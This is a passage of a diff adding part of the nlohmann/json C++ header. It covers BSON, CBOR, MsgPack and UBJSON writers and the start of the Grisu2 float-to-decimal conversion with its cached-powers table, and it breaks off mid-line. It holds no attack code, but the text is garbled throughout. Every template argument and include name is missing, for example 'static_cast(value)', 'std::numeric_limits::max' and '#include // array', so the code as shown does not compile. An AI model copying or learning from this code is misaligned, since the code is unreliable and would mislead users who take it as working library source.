JSON_THROW(out_of_range::create(409, + "BSON key cannot contain code point U+0000 (at byte " + std::to_string(it) + ")")); + } + + return /*id*/ 1ul + name.size() + /*zero-terminator*/1u; + } + + /*! + @brief Writes the given @a element_type and @a name to the output adapter + */ + void write_bson_entry_header(const string_t& name, + const std::uint8_t element_type) + { + oa->write_character(to_char_type(element_type)); // boolean + oa->write_characters( + reinterpret_cast(name.c_str()), + name.size() + 1u); + } + + /*! + @brief Writes a BSON element with key @a name and boolean value @a value + */ + void write_bson_boolean(const string_t& name, + const bool value) + { + write_bson_entry_header(name, 0x08); + oa->write_character(value ? to_char_type(0x01) : to_char_type(0x00)); + } + + /*! + @brief Writes a BSON element with key @a name and double value @a value + */ + void write_bson_double(const string_t& name, + const double value) + { + write_bson_entry_header(name, 0x01); + write_number(value); + } + + /*! + @return The size of the BSON-encoded string in @a value + */ + static std::size_t calc_bson_string_size(const string_t& value) + { + return sizeof(std::int32_t) + value.size() + 1ul; + } + + /*! + @brief Writes a BSON element with key @a name and string value @a value + */ + void write_bson_string(const string_t& name, + const string_t& value) + { + write_bson_entry_header(name, 0x02); + + write_number(static_cast(value.size() + 1ul)); + oa->write_characters( + reinterpret_cast(value.c_str()), + value.size() + 1); + } + + /*! + @brief Writes a BSON element with key @a name and null value + */ + void write_bson_null(const string_t& name) + { + write_bson_entry_header(name, 0x0A); + } + + /*! + @return The size of the BSON-encoded integer @a value + */ + static std::size_t calc_bson_integer_size(const std::int64_t value) + { + return (std::numeric_limits::min)() <= value && value <= (std::numeric_limits::max)() + ? sizeof(std::int32_t) + : sizeof(std::int64_t); + } + + /*! + @brief Writes a BSON element with key @a name and integer @a value + */ + void write_bson_integer(const string_t& name, + const std::int64_t value) + { + if ((std::numeric_limits::min)() <= value && value <= (std::numeric_limits::max)()) + { + write_bson_entry_header(name, 0x10); // int32 + write_number(static_cast(value)); + } + else + { + write_bson_entry_header(name, 0x12); // int64 + write_number(static_cast(value)); + } + } + + /*! + @return The size of the BSON-encoded unsigned integer in @a j + */ + static constexpr std::size_t calc_bson_unsigned_size(const std::uint64_t value) noexcept + { + return (value <= static_cast((std::numeric_limits::max)())) + ? sizeof(std::int32_t) + : sizeof(std::int64_t); + } + + /*! + @brief Writes a BSON element with key @a name and unsigned @a value + */ + void write_bson_unsigned(const string_t& name, + const std::uint64_t value) + { + if (value <= static_cast((std::numeric_limits::max)())) + { + write_bson_entry_header(name, 0x10 /* int32 */); + write_number(static_cast(value)); + } + else if (value <= static_cast((std::numeric_limits::max)())) + { + write_bson_entry_header(name, 0x12 /* int64 */); + write_number(static_cast(value)); + } + else + { + JSON_THROW(out_of_range::create(407, "integer number " + std::to_string(value) + " cannot be represented by BSON as it does not fit int64")); + } + } + + /*! + @brief Writes a BSON element with key @a name and object @a value + */ + void write_bson_object_entry(const string_t& name, + const typename BasicJsonType::object_t& value) + { + write_bson_entry_header(name, 0x03); // object + write_bson_object(value); + } + + /*! + @return The size of the BSON-encoded array @a value + */ + static std::size_t calc_bson_array_size(const typename BasicJsonType::array_t& value) + { + std::size_t array_index = 0ul; + + const std::size_t embedded_document_size = std::accumulate(std::begin(value), std::end(value), std::size_t(0), [&array_index](std::size_t result, const typename BasicJsonType::array_t::value_type & el) + { + return result + calc_bson_element_size(std::to_string(array_index++), el); + }); + + return sizeof(std::int32_t) + embedded_document_size + 1ul; + } + + /*! + @return The size of the BSON-encoded binary array @a value + */ + static std::size_t calc_bson_binary_size(const typename BasicJsonType::binary_t& value) + { + return sizeof(std::int32_t) + value.size() + 1ul; + } + + /*! + @brief Writes a BSON element with key @a name and array @a value + */ + void write_bson_array(const string_t& name, + const typename BasicJsonType::array_t& value) + { + write_bson_entry_header(name, 0x04); // array + write_number(static_cast(calc_bson_array_size(value))); + + std::size_t array_index = 0ul; + + for (const auto& el : value) + { + write_bson_element(std::to_string(array_index++), el); + } + + oa->write_character(to_char_type(0x00)); + } + + /*! + @brief Writes a BSON element with key @a name and binary value @a value + */ + void write_bson_binary(const string_t& name, + const binary_t& value) + { + write_bson_entry_header(name, 0x05); + + write_number(static_cast(value.size())); + write_number(value.has_subtype() ? value.subtype() : std::uint8_t(0x00)); + + oa->write_characters(reinterpret_cast(value.data()), value.size()); + } + + /*! + @brief Calculates the size necessary to serialize the JSON value @a j with its @a name + @return The calculated size for the BSON document entry for @a j with the given @a name. + */ + static std::size_t calc_bson_element_size(const string_t& name, + const BasicJsonType& j) + { + const auto header_size = calc_bson_entry_header_size(name); + switch (j.type()) + { + case value_t::object: + return header_size + calc_bson_object_size(*j.m_value.object); + + case value_t::array: + return header_size + calc_bson_array_size(*j.m_value.array); + + case value_t::binary: + return header_size + calc_bson_binary_size(*j.m_value.binary); + + case value_t::boolean: + return header_size + 1ul; + + case value_t::number_float: + return header_size + 8ul; + + case value_t::number_integer: + return header_size + calc_bson_integer_size(j.m_value.number_integer); + + case value_t::number_unsigned: + return header_size + calc_bson_unsigned_size(j.m_value.number_unsigned); + + case value_t::string: + return header_size + calc_bson_string_size(*j.m_value.string); + + case value_t::null: + return header_size + 0ul; + + // LCOV_EXCL_START + default: + JSON_ASSERT(false); + return 0ul; + // LCOV_EXCL_STOP + } + } + + /*! + @brief Serializes the JSON value @a j to BSON and associates it with the + key @a name. + @param name The name to associate with the JSON entity @a j within the + current BSON document + @return The size of the BSON entry + */ + void write_bson_element(const string_t& name, + const BasicJsonType& j) + { + switch (j.type()) + { + case value_t::object: + return write_bson_object_entry(name, *j.m_value.object); + + case value_t::array: + return write_bson_array(name, *j.m_value.array); + + case value_t::binary: + return write_bson_binary(name, *j.m_value.binary); + + case value_t::boolean: + return write_bson_boolean(name, j.m_value.boolean); + + case value_t::number_float: + return write_bson_double(name, j.m_value.number_float); + + case value_t::number_integer: + return write_bson_integer(name, j.m_value.number_integer); + + case value_t::number_unsigned: + return write_bson_unsigned(name, j.m_value.number_unsigned); + + case value_t::string: + return write_bson_string(name, *j.m_value.string); + + case value_t::null: + return write_bson_null(name); + + // LCOV_EXCL_START + default: + JSON_ASSERT(false); + return; + // LCOV_EXCL_STOP + } + } + + /*! + @brief Calculates the size of the BSON serialization of the given + JSON-object @a j. + @param[in] j JSON value to serialize + @pre j.type() == value_t::object + */ + static std::size_t calc_bson_object_size(const typename BasicJsonType::object_t& value) + { + std::size_t document_size = std::accumulate(value.begin(), value.end(), std::size_t(0), + [](size_t result, const typename BasicJsonType::object_t::value_type & el) + { + return result += calc_bson_element_size(el.first, el.second); + }); + + return sizeof(std::int32_t) + document_size + 1ul; + } + + /*! + @param[in] j JSON value to serialize + @pre j.type() == value_t::object + */ + void write_bson_object(const typename BasicJsonType::object_t& value) + { + write_number(static_cast(calc_bson_object_size(value))); + + for (const auto& el : value) + { + write_bson_element(el.first, el.second); + } + + oa->write_character(to_char_type(0x00)); + } + + ////////// + // CBOR // + ////////// + + static constexpr CharType get_cbor_float_prefix(float /*unused*/) + { + return to_char_type(0xFA); // Single-Precision Float + } + + static constexpr CharType get_cbor_float_prefix(double /*unused*/) + { + return to_char_type(0xFB); // Double-Precision Float + } + + ///////////// + // MsgPack // + ///////////// + + static constexpr CharType get_msgpack_float_prefix(float /*unused*/) + { + return to_char_type(0xCA); // float 32 + } + + static constexpr CharType get_msgpack_float_prefix(double /*unused*/) + { + return to_char_type(0xCB); // float 64 + } + + //////////// + // UBJSON // + //////////// + + // UBJSON: write number (floating point) + template::value, int>::type = 0> + void write_number_with_ubjson_prefix(const NumberType n, + const bool add_prefix) + { + if (add_prefix) + { + oa->write_character(get_ubjson_float_prefix(n)); + } + write_number(n); + } + + // UBJSON: write number (unsigned integer) + template::value, int>::type = 0> + void write_number_with_ubjson_prefix(const NumberType n, + const bool add_prefix) + { + if (n <= static_cast((std::numeric_limits::max)())) + { + if (add_prefix) + { + oa->write_character(to_char_type('i')); // int8 + } + write_number(static_cast(n)); + } + else if (n <= (std::numeric_limits::max)()) + { + if (add_prefix) + { + oa->write_character(to_char_type('U')); // uint8 + } + write_number(static_cast(n)); + } + else if (n <= static_cast((std::numeric_limits::max)())) + { + if (add_prefix) + { + oa->write_character(to_char_type('I')); // int16 + } + write_number(static_cast(n)); + } + else if (n <= static_cast((std::numeric_limits::max)())) + { + if (add_prefix) + { + oa->write_character(to_char_type('l')); // int32 + } + write_number(static_cast(n)); + } + else if (n <= static_cast((std::numeric_limits::max)())) + { + if (add_prefix) + { + oa->write_character(to_char_type('L')); // int64 + } + write_number(static_cast(n)); + } + else + { + if (add_prefix) + { + oa->write_character(to_char_type('H')); // high-precision number + } + + const auto number = BasicJsonType(n).dump(); + write_number_with_ubjson_prefix(number.size(), true); + for (std::size_t i = 0; i < number.size(); ++i) + { + oa->write_character(to_char_type(static_cast(number[i]))); + } + } + } + + // UBJSON: write number (signed integer) + template < typename NumberType, typename std::enable_if < + std::is_signed::value&& + !std::is_floating_point::value, int >::type = 0 > + void write_number_with_ubjson_prefix(const NumberType n, + const bool add_prefix) + { + if ((std::numeric_limits::min)() <= n && n <= (std::numeric_limits::max)()) + { + if (add_prefix) + { + oa->write_character(to_char_type('i')); // int8 + } + write_number(static_cast(n)); + } + else if (static_cast((std::numeric_limits::min)()) <= n && n <= static_cast((std::numeric_limits::max)())) + { + if (add_prefix) + { + oa->write_character(to_char_type('U')); // uint8 + } + write_number(static_cast(n)); + } + else if ((std::numeric_limits::min)() <= n && n <= (std::numeric_limits::max)()) + { + if (add_prefix) + { + oa->write_character(to_char_type('I')); // int16 + } + write_number(static_cast(n)); + } + else if ((std::numeric_limits::min)() <= n && n <= (std::numeric_limits::max)()) + { + if (add_prefix) + { + oa->write_character(to_char_type('l')); // int32 + } + write_number(static_cast(n)); + } + else if ((std::numeric_limits::min)() <= n && n <= (std::numeric_limits::max)()) + { + if (add_prefix) + { + oa->write_character(to_char_type('L')); // int64 + } + write_number(static_cast(n)); + } + // LCOV_EXCL_START + else + { + if (add_prefix) + { + oa->write_character(to_char_type('H')); // high-precision number + } + + const auto number = BasicJsonType(n).dump(); + write_number_with_ubjson_prefix(number.size(), true); + for (std::size_t i = 0; i < number.size(); ++i) + { + oa->write_character(to_char_type(static_cast(number[i]))); + } + } + // LCOV_EXCL_STOP + } + + /*! + @brief determine the type prefix of container values + */ + CharType ubjson_prefix(const BasicJsonType& j) const noexcept + { + switch (j.type()) + { + case value_t::null: + return 'Z'; + + case value_t::boolean: + return j.m_value.boolean ? 'T' : 'F'; + + case value_t::number_integer: + { + if ((std::numeric_limits::min)() <= j.m_value.number_integer && j.m_value.number_integer <= (std::numeric_limits::max)()) + { + return 'i'; + } + if ((std::numeric_limits::min)() <= j.m_value.number_integer && j.m_value.number_integer <= (std::numeric_limits::max)()) + { + return 'U'; + } + if ((std::numeric_limits::min)() <= j.m_value.number_integer && j.m_value.number_integer <= (std::numeric_limits::max)()) + { + return 'I'; + } + if ((std::numeric_limits::min)() <= j.m_value.number_integer && j.m_value.number_integer <= (std::numeric_limits::max)()) + { + return 'l'; + } + if ((std::numeric_limits::min)() <= j.m_value.number_integer && j.m_value.number_integer <= (std::numeric_limits::max)()) + { + return 'L'; + } + // anything else is treated as high-precision number + return 'H'; // LCOV_EXCL_LINE + } + + case value_t::number_unsigned: + { + if (j.m_value.number_unsigned <= static_cast((std::numeric_limits::max)())) + { + return 'i'; + } + if (j.m_value.number_unsigned <= static_cast((std::numeric_limits::max)())) + { + return 'U'; + } + if (j.m_value.number_unsigned <= static_cast((std::numeric_limits::max)())) + { + return 'I'; + } + if (j.m_value.number_unsigned <= static_cast((std::numeric_limits::max)())) + { + return 'l'; + } + if (j.m_value.number_unsigned <= static_cast((std::numeric_limits::max)())) + { + return 'L'; + } + // anything else is treated as high-precision number + return 'H'; // LCOV_EXCL_LINE + } + + case value_t::number_float: + return get_ubjson_float_prefix(j.m_value.number_float); + + case value_t::string: + return 'S'; + + case value_t::array: // fallthrough + case value_t::binary: + return '['; + + case value_t::object: + return '{'; + + default: // discarded values + return 'N'; + } + } + + static constexpr CharType get_ubjson_float_prefix(float /*unused*/) + { + return 'd'; // float 32 + } + + static constexpr CharType get_ubjson_float_prefix(double /*unused*/) + { + return 'D'; // float 64 + } + + /////////////////////// + // Utility functions // + /////////////////////// + + /* + @brief write a number to output input + @param[in] n number of type @a NumberType + @tparam NumberType the type of the number + @tparam OutputIsLittleEndian Set to true if output data is + required to be little endian + + @note This function needs to respect the system's endianess, because bytes + in CBOR, MessagePack, and UBJSON are stored in network order (big + endian) and therefore need reordering on little endian systems. + */ + template + void write_number(const NumberType n) + { + // step 1: write number to array of length NumberType + std::array vec; + std::memcpy(vec.data(), &n, sizeof(NumberType)); + + // step 2: write array to output (with possible reordering) + if (is_little_endian != OutputIsLittleEndian) + { + // reverse byte order prior to conversion if necessary + std::reverse(vec.begin(), vec.end()); + } + + oa->write_characters(vec.data(), sizeof(NumberType)); + } + + void write_compact_float(const number_float_t n, detail::input_format_t format) + { + if (static_cast(n) >= static_cast(std::numeric_limits::lowest()) && + static_cast(n) <= static_cast((std::numeric_limits::max)()) && + static_cast(static_cast(n)) == static_cast(n)) + { + oa->write_character(format == detail::input_format_t::cbor + ? get_cbor_float_prefix(static_cast(n)) + : get_msgpack_float_prefix(static_cast(n))); + write_number(static_cast(n)); + } + else + { + oa->write_character(format == detail::input_format_t::cbor + ? get_cbor_float_prefix(n) + : get_msgpack_float_prefix(n)); + write_number(n); + } + } + + public: + // The following to_char_type functions are implement the conversion + // between uint8_t and CharType. In case CharType is not unsigned, + // such a conversion is required to allow values greater than 128. + // See for a discussion. + template < typename C = CharType, + enable_if_t < std::is_signed::value && std::is_signed::value > * = nullptr > + static constexpr CharType to_char_type(std::uint8_t x) noexcept + { + return *reinterpret_cast(&x); + } + + template < typename C = CharType, + enable_if_t < std::is_signed::value && std::is_unsigned::value > * = nullptr > + static CharType to_char_type(std::uint8_t x) noexcept + { + static_assert(sizeof(std::uint8_t) == sizeof(CharType), "size of CharType must be equal to std::uint8_t"); + static_assert(std::is_trivial::value, "CharType must be trivial"); + CharType result; + std::memcpy(&result, &x, sizeof(x)); + return result; + } + + template::value>* = nullptr> + static constexpr CharType to_char_type(std::uint8_t x) noexcept + { + return x; + } + + template < typename InputCharType, typename C = CharType, + enable_if_t < + std::is_signed::value && + std::is_signed::value && + std::is_same::type>::value + > * = nullptr > + static constexpr CharType to_char_type(InputCharType x) noexcept + { + return x; + } + + private: + /// whether we can assume little endianess + const bool is_little_endian = little_endianess(); + + /// the output + output_adapter_t oa = nullptr; +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + + +#include // reverse, remove, fill, find, none_of +#include // array +#include // localeconv, lconv +#include // labs, isfinite, isnan, signbit +#include // size_t, ptrdiff_t +#include // uint8_t +#include // snprintf +#include // numeric_limits +#include // string, char_traits +#include // is_same +#include // move + +// #include + + +#include // array +#include // signbit, isfinite +#include // intN_t, uintN_t +#include // memcpy, memmove +#include // numeric_limits +#include // conditional + +// #include + + +namespace nlohmann +{ +namespace detail +{ + +/*! +@brief implements the Grisu2 algorithm for binary to decimal floating-point +conversion. + +This implementation is a slightly modified version of the reference +implementation which may be obtained from +http://florian.loitsch.com/publications (bench.tar.gz). + +The code is distributed under the MIT license, Copyright (c) 2009 Florian Loitsch. + +For a detailed description of the algorithm see: + +[1] Loitsch, "Printing Floating-Point Numbers Quickly and Accurately with + Integers", Proceedings of the ACM SIGPLAN 2010 Conference on Programming + Language Design and Implementation, PLDI 2010 +[2] Burger, Dybvig, "Printing Floating-Point Numbers Quickly and Accurately", + Proceedings of the ACM SIGPLAN 1996 Conference on Programming Language + Design and Implementation, PLDI 1996 +*/ +namespace dtoa_impl +{ + +template +Target reinterpret_bits(const Source source) +{ + static_assert(sizeof(Target) == sizeof(Source), "size mismatch"); + + Target target; + std::memcpy(&target, &source, sizeof(Source)); + return target; +} + +struct diyfp // f * 2^e +{ + static constexpr int kPrecision = 64; // = q + + std::uint64_t f = 0; + int e = 0; + + constexpr diyfp(std::uint64_t f_, int e_) noexcept : f(f_), e(e_) {} + + /*! + @brief returns x - y + @pre x.e == y.e and x.f >= y.f + */ + static diyfp sub(const diyfp& x, const diyfp& y) noexcept + { + JSON_ASSERT(x.e == y.e); + JSON_ASSERT(x.f >= y.f); + + return {x.f - y.f, x.e}; + } + + /*! + @brief returns x * y + @note The result is rounded. (Only the upper q bits are returned.) + */ + static diyfp mul(const diyfp& x, const diyfp& y) noexcept + { + static_assert(kPrecision == 64, "internal error"); + + // Computes: + // f = round((x.f * y.f) / 2^q) + // e = x.e + y.e + q + + // Emulate the 64-bit * 64-bit multiplication: + // + // p = u * v + // = (u_lo + 2^32 u_hi) (v_lo + 2^32 v_hi) + // = (u_lo v_lo ) + 2^32 ((u_lo v_hi ) + (u_hi v_lo )) + 2^64 (u_hi v_hi ) + // = (p0 ) + 2^32 ((p1 ) + (p2 )) + 2^64 (p3 ) + // = (p0_lo + 2^32 p0_hi) + 2^32 ((p1_lo + 2^32 p1_hi) + (p2_lo + 2^32 p2_hi)) + 2^64 (p3 ) + // = (p0_lo ) + 2^32 (p0_hi + p1_lo + p2_lo ) + 2^64 (p1_hi + p2_hi + p3) + // = (p0_lo ) + 2^32 (Q ) + 2^64 (H ) + // = (p0_lo ) + 2^32 (Q_lo + 2^32 Q_hi ) + 2^64 (H ) + // + // (Since Q might be larger than 2^32 - 1) + // + // = (p0_lo + 2^32 Q_lo) + 2^64 (Q_hi + H) + // + // (Q_hi + H does not overflow a 64-bit int) + // + // = p_lo + 2^64 p_hi + + const std::uint64_t u_lo = x.f & 0xFFFFFFFFu; + const std::uint64_t u_hi = x.f >> 32u; + const std::uint64_t v_lo = y.f & 0xFFFFFFFFu; + const std::uint64_t v_hi = y.f >> 32u; + + const std::uint64_t p0 = u_lo * v_lo; + const std::uint64_t p1 = u_lo * v_hi; + const std::uint64_t p2 = u_hi * v_lo; + const std::uint64_t p3 = u_hi * v_hi; + + const std::uint64_t p0_hi = p0 >> 32u; + const std::uint64_t p1_lo = p1 & 0xFFFFFFFFu; + const std::uint64_t p1_hi = p1 >> 32u; + const std::uint64_t p2_lo = p2 & 0xFFFFFFFFu; + const std::uint64_t p2_hi = p2 >> 32u; + + std::uint64_t Q = p0_hi + p1_lo + p2_lo; + + // The full product might now be computed as + // + // p_hi = p3 + p2_hi + p1_hi + (Q >> 32) + // p_lo = p0_lo + (Q << 32) + // + // But in this particular case here, the full p_lo is not required. + // Effectively we only need to add the highest bit in p_lo to p_hi (and + // Q_hi + 1 does not overflow). + + Q += std::uint64_t{1} << (64u - 32u - 1u); // round, ties up + + const std::uint64_t h = p3 + p2_hi + p1_hi + (Q >> 32u); + + return {h, x.e + y.e + 64}; + } + + /*! + @brief normalize x such that the significand is >= 2^(q-1) + @pre x.f != 0 + */ + static diyfp normalize(diyfp x) noexcept + { + JSON_ASSERT(x.f != 0); + + while ((x.f >> 63u) == 0) + { + x.f <<= 1u; + x.e--; + } + + return x; + } + + /*! + @brief normalize x such that the result has the exponent E + @pre e >= x.e and the upper e - x.e bits of x.f must be zero. + */ + static diyfp normalize_to(const diyfp& x, const int target_exponent) noexcept + { + const int delta = x.e - target_exponent; + + JSON_ASSERT(delta >= 0); + JSON_ASSERT(((x.f << delta) >> delta) == x.f); + + return {x.f << delta, target_exponent}; + } +}; + +struct boundaries +{ + diyfp w; + diyfp minus; + diyfp plus; +}; + +/*! +Compute the (normalized) diyfp representing the input number 'value' and its +boundaries. + +@pre value must be finite and positive +*/ +template +boundaries compute_boundaries(FloatType value) +{ + JSON_ASSERT(std::isfinite(value)); + JSON_ASSERT(value > 0); + + // Convert the IEEE representation into a diyfp. + // + // If v is denormal: + // value = 0.F * 2^(1 - bias) = ( F) * 2^(1 - bias - (p-1)) + // If v is normalized: + // value = 1.F * 2^(E - bias) = (2^(p-1) + F) * 2^(E - bias - (p-1)) + + static_assert(std::numeric_limits::is_iec559, + "internal error: dtoa_short requires an IEEE-754 floating-point implementation"); + + constexpr int kPrecision = std::numeric_limits::digits; // = p (includes the hidden bit) + constexpr int kBias = std::numeric_limits::max_exponent - 1 + (kPrecision - 1); + constexpr int kMinExp = 1 - kBias; + constexpr std::uint64_t kHiddenBit = std::uint64_t{1} << (kPrecision - 1); // = 2^(p-1) + + using bits_type = typename std::conditional::type; + + const std::uint64_t bits = reinterpret_bits(value); + const std::uint64_t E = bits >> (kPrecision - 1); + const std::uint64_t F = bits & (kHiddenBit - 1); + + const bool is_denormal = E == 0; + const diyfp v = is_denormal + ? diyfp(F, kMinExp) + : diyfp(F + kHiddenBit, static_cast(E) - kBias); + + // Compute the boundaries m- and m+ of the floating-point value + // v = f * 2^e. + // + // Determine v- and v+, the floating-point predecessor and successor if v, + // respectively. + // + // v- = v - 2^e if f != 2^(p-1) or e == e_min (A) + // = v - 2^(e-1) if f == 2^(p-1) and e > e_min (B) + // + // v+ = v + 2^e + // + // Let m- = (v- + v) / 2 and m+ = (v + v+) / 2. All real numbers _strictly_ + // between m- and m+ round to v, regardless of how the input rounding + // algorithm breaks ties. + // + // ---+-------------+-------------+-------------+-------------+--- (A) + // v- m- v m+ v+ + // + // -----------------+------+------+-------------+-------------+--- (B) + // v- m- v m+ v+ + + const bool lower_boundary_is_closer = F == 0 && E > 1; + const diyfp m_plus = diyfp(2 * v.f + 1, v.e - 1); + const diyfp m_minus = lower_boundary_is_closer + ? diyfp(4 * v.f - 1, v.e - 2) // (B) + : diyfp(2 * v.f - 1, v.e - 1); // (A) + + // Determine the normalized w+ = m+. + const diyfp w_plus = diyfp::normalize(m_plus); + + // Determine w- = m- such that e_(w-) = e_(w+). + const diyfp w_minus = diyfp::normalize_to(m_minus, w_plus.e); + + return {diyfp::normalize(v), w_minus, w_plus}; +} + +// Given normalized diyfp w, Grisu needs to find a (normalized) cached +// power-of-ten c, such that the exponent of the product c * w = f * 2^e lies +// within a certain range [alpha, gamma] (Definition 3.2 from [1]) +// +// alpha <= e = e_c + e_w + q <= gamma +// +// or +// +// f_c * f_w * 2^alpha <= f_c 2^(e_c) * f_w 2^(e_w) * 2^q +// <= f_c * f_w * 2^gamma +// +// Since c and w are normalized, i.e. 2^(q-1) <= f < 2^q, this implies +// +// 2^(q-1) * 2^(q-1) * 2^alpha <= c * w * 2^q < 2^q * 2^q * 2^gamma +// +// or +// +// 2^(q - 2 + alpha) <= c * w < 2^(q + gamma) +// +// The choice of (alpha,gamma) determines the size of the table and the form of +// the digit generation procedure. Using (alpha,gamma)=(-60,-32) works out well +// in practice: +// +// The idea is to cut the number c * w = f * 2^e into two parts, which can be +// processed independently: An integral part p1, and a fractional part p2: +// +// f * 2^e = ( (f div 2^-e) * 2^-e + (f mod 2^-e) ) * 2^e +// = (f div 2^-e) + (f mod 2^-e) * 2^e +// = p1 + p2 * 2^e +// +// The conversion of p1 into decimal form requires a series of divisions and +// modulos by (a power of) 10. These operations are faster for 32-bit than for +// 64-bit integers, so p1 should ideally fit into a 32-bit integer. This can be +// achieved by choosing +// +// -e >= 32 or e <= -32 := gamma +// +// In order to convert the fractional part +// +// p2 * 2^e = p2 / 2^-e = d[-1] / 10^1 + d[-2] / 10^2 + ... +// +// into decimal form, the fraction is repeatedly multiplied by 10 and the digits +// d[-i] are extracted in order: +// +// (10 * p2) div 2^-e = d[-1] +// (10 * p2) mod 2^-e = d[-2] / 10^1 + ... +// +// The multiplication by 10 must not overflow. It is sufficient to choose +// +// 10 * p2 < 16 * p2 = 2^4 * p2 <= 2^64. +// +// Since p2 = f mod 2^-e < 2^-e, +// +// -e <= 60 or e >= -60 := alpha + +constexpr int kAlpha = -60; +constexpr int kGamma = -32; + +struct cached_power // c = f * 2^e ~= 10^k +{ + std::uint64_t f; + int e; + int k; +}; + +/*! +For a normalized diyfp w = f * 2^e, this function returns a (normalized) cached +power-of-ten c = f_c * 2^e_c, such that the exponent of the product w * c +satisfies (Definition 3.2 from [1]) + + alpha <= e_c + e + q <= gamma. +*/ +inline cached_power get_cached_power_for_binary_exponent(int e) +{ + // Now + // + // alpha <= e_c + e + q <= gamma (1) + // ==> f_c * 2^alpha <= c * 2^e * 2^q + // + // and since the c's are normalized, 2^(q-1) <= f_c, + // + // ==> 2^(q - 1 + alpha) <= c * 2^(e + q) + // ==> 2^(alpha - e - 1) <= c + // + // If c were an exact power of ten, i.e. c = 10^k, one may determine k as + // + // k = ceil( log_10( 2^(alpha - e - 1) ) ) + // = ceil( (alpha - e - 1) * log_10(2) ) + // + // From the paper: + // "In theory the result of the procedure could be wrong since c is rounded, + // and the computation itself is approximated [...]. In practice, however, + // this simple function is sufficient." + // + // For IEEE double precision floating-point numbers converted into + // normalized diyfp's w = f * 2^e, with q = 64, + // + // e >= -1022 (min IEEE exponent) + // -52 (p - 1) + // -52 (p - 1, possibly normalize denormal IEEE numbers) + // -11 (normalize the diyfp) + // = -1137 + // + // and + // + // e <= +1023 (max IEEE exponent) + // -52 (p - 1) + // -11 (normalize the diyfp) + // = 960 + // + // This binary exponent range [-1137,960] results in a decimal exponent + // range [-307,324]. One does not need to store a cached power for each + // k in this range. For each such k it suffices to find a cached power + // such that the exponent of the product lies in [alpha,gamma]. + // This implies that the difference of the decimal exponents of adjacent + // table entries must be less than or equal to + // + // floor( (gamma - alpha) * log_10(2) ) = 8. + // + // (A smaller distance gamma-alpha would require a larger table.) + + // NB: + // Actually this function returns c, such that -60 <= e_c + e + 64 <= -34. + + constexpr int kCachedPowersMinDecExp = -300; + constexpr int kCachedPowersDecStep = 8; + + static constexpr std::array kCachedPowers = + { + { + { 0xAB70FE17C79AC6CA, -1060, -300 }, + { 0xFF77B1FCBEBCDC4F, -1034, -292 }, + { 0xBE5691EF416BD60C, -1007, -284 }, + { 0x8DD01FAD907FFC3C, -980, -276 }, + { 0xD3515C2831559A83, -954, -268 }, + { 0x9D71AC8FADA6C9B5, -927, -260 }, + { 0xEA9C227723EE8BCB, -901, -252 }, + { 0xAECC49914078536D, -874, -244 }, + { 0x823C12795DB6CE57, -847, -236 }, + { 0xC21094364DFB5637, -821, -228 }, + { 0x9096EA6F3848984F, -794, -220 }, + { 0xD77485CB25823AC7, -768, -212 }, + { 0xA086CFCD97BF97F4, -741, -204 }, + { 0xEF340A98172AACE5, -715, -196 }, + { 0xB23867FB2A35B28E, -688, -188 }, + { 0x84C8D4DFD2C63F3B, -661, -180 }, + { 0xC5DD44271AD3CDBA, -635, -172 }, + { 0x936B9FCEBB25C996, -608, -164 }, + { 0xDBAC6C247D62A584, -582, -156 }, + { 0xA3AB66580D5FDAF6, -555, -148 }, + { 0xF3E2F893DEC3F126, -529, -140 }, + { 0xB5B5ADA8AAFF80B8, -502, -132 }, + { 0x87625F056C7C4A8B, -475, -124 }, + { 0xC9BCFF6034C13053, -449, -116 }, + { 0x964E858C91BA2655, -422, -108 }, + { 0xDFF9772470297EBD, -396, -100 }, + { 0xA6DFBD9FB8E5B88F, -369, -92 }, + { 0xF8A95FCF88747D94, -343, -84 }, + { 0xB94470938FA89BCF, -316, -76 }, + { 0x8A08F0F8BF0F156B, -289, -68 }, + { 0xCDB02555653131B6, -263, -60 }, + { 0x993FE2C6D07B7FAC, -236, -52 }, + { 0xE45C10C42A2B3B06, -210, -44 }, + { 0xAA242499697392D3, -183, -36 }, + { 0xFD87B5F28300CA0E, -157, -28 }, + { 0xBCE5086492111AEB, -130, -20 }, + { 0x8CBCCC096F5088CC, -103, -12 }, + { 0xD1B71758E219652C, -77, -4 }, + { 0x9C40000000000000, -50, 4 }, + { 0xE8D4A51000000000, -24, 12 }, + { 0xAD78EBC5AC620000, 3, 20 }, + { 0x813F3978F8940984, 30, 28 }, + { 0xC097CE7BC90715B3, 56, 36 }, + { 0x8F7E32CE7BEA5C70, 83, 44 }, + { 0xD5D238A4ABE98068, 109, 52 }, + { 0x9F4F2726179A2245, 136, 60 }, + { 0xED63A231D4C4FB27, 162, 68 }, + { 0xB0DE65388CC8ADA8, 189, 76 }, + { 0x83C7088E1AAB65DB, 216, 84 }, + { 0xC45D1DF942711D9A, 242, 92 }, + { 0x924D692CA61BE758, 269, 100 }, + { 0xDA01EE641A708DEA, 295, 108 }, + { 0xA26DA3999AEF774A, 322, 116 }, + { 0xF209787BB47D6B85, 348, 124 }, + { 0xB454E4A179DD1877, 375, 132 }, + { 0x865B86925B9BC5C2, 402, 140 }, + { 0xC83553C5C8965D3D, 428, 148 }, + { 0x952AB45CFA97A0B3, 455, 156 }, + { 0xDE469FBD99A05FE3, 481, 164 }, + { 0xA59BC234DB398C25, 508, 172 }, + { 0xF6C69A72A3989F5C, 534, 180 }, + { 0xB7DCBF5354E9BECE, 561, 188 }, + { 0x88FCF317F22241E2, 588, 196 }, + { 0xCC20CE9BD35C78A5, 614, 204 }, + { 0x98165AF37B2153DF, 641, 212 }, + { 0xE2A0B5DC971F303A, 667, 220 }, + { 0xA8D9D1535CE3B396, 694, 228 }, + { 0xFB9B7CD9A4A7443C, 720, 236 }, + { 0xBB764C4CA7A44410, 747, 244 }, + { 0x8BAB8EEFB6409C1A, 774, 252 }, + { 0xD01FEF10A657842C, 800, 260 }, + { 0x9B10A4E5E9913129, 827, 268 }, + { 0xE7109BFBA19C0C9D, 853, 276 }, + { 0xAC2820D9623BF429, 880, 284 }, + { 0x80444B5E7AA7CF85, 907, 292 }, + { 0xBF21E44003ACDD2D, 933, 300 }, + { 0x8E679C2F5E44FF8F, 960, 308 }, + { 0xD433179D9C8CB841, 986, 316 }, + { 0x9E19DB92B4E31BA9, 1013, 324 }, + } + }; + + // This computation gives exactly the same results for k as + // k = ceil((kAlpha - e - 1) * 0.30102999566398114) + // for |e| <= 1500, but doesn't require floating-point operations. + // NB: log_10(2) ~= 78913 / 2^18 + JSON_ASSERT(e >= -1500); + JSON_ASSERT(e <= 1500); + const 